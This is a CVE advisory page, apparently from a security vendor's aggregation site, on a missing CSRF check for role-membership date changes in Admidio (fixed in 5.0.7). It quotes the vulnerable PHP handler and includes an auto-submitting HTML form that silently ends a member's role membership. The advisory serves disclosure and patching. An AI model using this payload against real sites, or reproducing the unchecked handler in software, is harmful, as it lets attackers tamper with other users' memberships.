Admidio is Missing CSRF Protection on Role Membership Date Changes
The save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 40-42
The CSRF guard covers only two of the three mutative modes:
```php
if (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}
```
The save_membership mode is missing from this array. The handler then proceeds to read dates from $_POST and update the database without any token verification:
```php
} elseif ($getMode === 'save_membership') {
$postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true));
$postMembershipEnd = admFuncVariableIsValid($_POST, 'adm_membership_end_date', 'date', array('requireValue' => true));
$member = new Membership($gDb);
$member->readDataByUuid($getMemberUuid);
$role = new Role($gDb, (int)$member->getValue('mem_rol_id'));
// check if user has the right to edit this membership
if (!$role->allowedToAssignMembers($gCurrentUser)) {
throw new Exception('SYS_NO_RIGHTS');
}
// ... validates dates ...
$role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);
echo 'success';
}
```
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 131-169
File: D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php, lines 218-241
The membership date form is created via FormPresenter, which automatically injects an adm_csrf_token hidden field into every form. However, the server-side save_membership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.
File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121
The allowedToAssignMembers() check grants write access to:
isAdministratorRoles() (role administrators), orrol_leader_rights set to ROLE_LEADER_MEMBERS_ASSIGN or ROLE_LEADER_MEMBERS_ASSIGN_EDITRole leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.
The save URL for the membership date form is embedded in the profile page HTML:
```
/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID>
```
Any authenticated member who can view a profile page can extract both UUIDs from the page source.
The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:
```html
<!DOCTYPE html>
<html>
<body onload="document.getElementById('csrf_form').submit()">
<form id="csrf_form"
method="POST"
action="https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>">
<input type="hidden" name="adm_membership_start_date" value="2000-01-01">
<input type="hidden" name="adm_membership_end_date" value="2000-01-02">
</form>
</body>
</html>
```
Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).
Note: No adm_csrf_token field is required because the server does not validate it for save_membership.
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
CVE-2026-32755 is classified as CWE-352: Cross-Site Request Forgery (CSRF). A state-changing request is accepted without proof it was intended, so another site can trigger it using the victim's session.
CVE-2026-32755 is recorded against 2 packages.
Published on 19 March 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.
admidio has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-352: Cross-Site Request Forgery (CSRF)) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| admidio | — | 5.0.7 |
| admidio/admidio | — | 5.0.7 |
References
Similar Threats
Exploit Protection
CVE-2026-32755 carries CVSS 5.7 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-32755 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.